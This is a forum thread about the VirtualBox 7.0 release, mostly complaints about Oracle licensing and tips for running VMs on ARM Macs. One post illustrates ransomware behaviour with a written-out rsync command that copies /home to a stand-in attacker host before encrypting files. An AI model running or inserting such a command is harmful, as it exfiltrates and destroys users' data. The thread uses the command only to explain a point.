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VirtualBox 7.0 Released – Full VM Encryption Support, New Direct3D Acceleration

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Re: VirtualBox 7.0 Released – Full VM Encryption Support, New Direct3D Acceleration

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Post by Aachen »

obtino wrote: post #53
bratao wrote: post #22

Oracle was responsible for my first complaint, while I was doing my first internship in the US. Because once I used my private laptop with the VirtualBox Extension Pack while connected to the work network. The incredible legal/licensing team got in touch because they identified this use. Since than I avoid Oracle like plague.

I was happy to pay the USD30 they charged back then, but they wanted a minimum order of 100 units!

Same still last year, except now the unit cost nearly doubled. We pay for a handful of VMware licenses instead now, which is 10x cheaper (more expensive per license, but you don't need a literal hundred of them). I'm convinced that the only reason for this is so that Oracle can send invoices to companies using the evaluation license for this ridiculous minimum amount without it seeming worth a challenge in court when one only has four machines and doesn't need a hundred licenses.

Re: VirtualBox 7.0 Released – Full VM Encryption Support, New Direct3D Acceleration

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Post by birracerveza »

naikrovek wrote: post #36
nohankyou wrote: post #29

Earlier quoted context omitted.

They just went ahead and sent us an invoice. Sales by extortion... so I made sure to replace our JRE in places (where Oracle snuck in) and uninstall anything else Oracle across our fleet.

yep, same. Oracle can die in a fire.

Oracle MUST die in a fire.

Re: VirtualBox 7.0 Released – Full VM Encryption Support, New Direct3D Acceleration

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Post by Aachen »

tlhunter wrote: post #71
chungy wrote: post #62

> Audio recording: Now using Vorbis as the default audio format for WebM containers. Opus is no longer being used. That's... very surprising. Vorbis is usually regarded as obsolete in favor of Opus. Did they hit some obscure compatibility issue or what?

https://news.ycombinator.com/item?id=33158475

In this link: patents

Re: VirtualBox 7.0 Released – Full VM Encryption Support, New Direct3D Acceleration

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Post by razemio »

influx wrote: post #86

Anyone have suggestion on how to run a Linux Window manager on ARM OSX? I’ve tried running the native x11 client and several virtual machines, and they all felt sluggish compared to native. I guess I’ll eventually dual boot, but it would nice to have iMessage as an alt-tab.

Sounds strange I know but without doubt what works best for me is freexrdp. It's good enough to feel native if you do not use 3d acceleration or heavy 2d acceleration. Even videoplayback is okay.

On OSX then just use any RDP client to your liking to connect to the vm/container.

Re: VirtualBox 7.0 Released – Full VM Encryption Support, New Direct3D Acceleration

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Post by jay-aye-see-key »

influx wrote: post #86

Anyone have suggestion on how to run a Linux Window manager on ARM OSX? I’ve tried running the native x11 client and several virtual machines, and they all felt sluggish compared to native. I guess I’ll eventually dual boot, but it would nice to have iMessage as an alt-tab.

UTM is really good. It’s basically just a nice GUI around QEMU. But their bundled version of QEMU also includes a patch to get SPICE working, the homebrew and Macports versions don’t have SPICE working so clipboard access and auto display resizing doesn’t work. Or at least I couldn’t get them to work.

The Ubuntu ARM image from their “gallery” works perfectly out of the box so is a good starting point.

Re: VirtualBox 7.0 Released – Full VM Encryption Support, New Direct3D Acceleration

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Post by yellowapple »

SirGiggles wrote: post #73
johnklos wrote: post #46

Oooh! Will 2022 be the year when a virtualization platform can finally run The Sims 2? ;)

People were already playing GTA 5 at least five years ago using VFIO/PCIe Passthrough. EDIT: Correction, it was four years ago from my few seconds of rechecking myself

Well yeah, but that requires a whole second GPU. A virtual GPU guest driver that translates to calls to the host GPU would be a godsend.

Hard to tell if that's what's advertised in these release notes, but if so, then at least older games might finally exhibit some decent performance.

Re: VirtualBox 7.0 Released – Full VM Encryption Support, New Direct3D Acceleration

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Post by Aachen »

theevilsharpie wrote: post #65
hsbauauvhabzb wrote: post #42

Earlier quoted context omitted.

I don’t understand your comment at all. Ransomware can encrypt and encrypted virtual machine. If the host is compromised at a privilege level able to read or modify the VM, the vm is also implicitly compromised.

Ransomware typically does the rough equivalent of: rsync -az /home baddie@remote-files.example.com:/your-files/ encrypt-all-files /home If such a thing were to run on the host hypervisor, it would be reading an encrypted virtual disk file, not its unencrypted contents (since it would be encrypted at rest on the host). I suppose it would be possible for the ransomware to be aware of Virtualbox and somehow manipulate V…

You can also rot13 the files to the same effect. Works unless they specifically target your files and are aware of the encryption. Heck, it might be more "secure" because this practice would be more obscure than the encryption they built in.

Re: VirtualBox 7.0 Released – Full VM Encryption Support, New Direct3D Acceleration

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Post by viraptor »

pjmlp wrote: post #80
naikrovek wrote: post #36

Earlier quoted context omitted.

yep, same. Oracle can die in a fire.

And who would take their place moving Java forward? Since Sun went down, it hardly goes over 10% of external contributions, and no one else cared about getting hold of Java 6.

> And who would take their place moving Java forward?

Dotnet - it's already ahead, and the existing software can stay in the current Java version. (I'm joking (but not really))

Re: VirtualBox 7.0 Released – Full VM Encryption Support, New Direct3D Acceleration

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Post by Aachen »

sitzkrieg wrote: post #17
metadat wrote: post #13

Is there a way to stop vbox from phoning home to Oracle?

i use pihole rules :/

DNS blocking seems like the first thing they'd bypass to detect infringement. The DRM industry isn't known for its reasonableness.

Re: VirtualBox 7.0 Released – Full VM Encryption Support, New Direct3D Acceleration

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Post by severino »

sebastien_b wrote: post #24
metadat wrote: post #13

Is there a way to stop vbox from phoning home to Oracle?

Don’t use it. Period. ORACLE is just releasing this to dupe people into thinking they can use this for free (they can’t).

They can't? You mean Oracle can send you an invoice for using the VirtualBox GPL version your Linux distro provides for free? Never heard of that before, could you please share more details?
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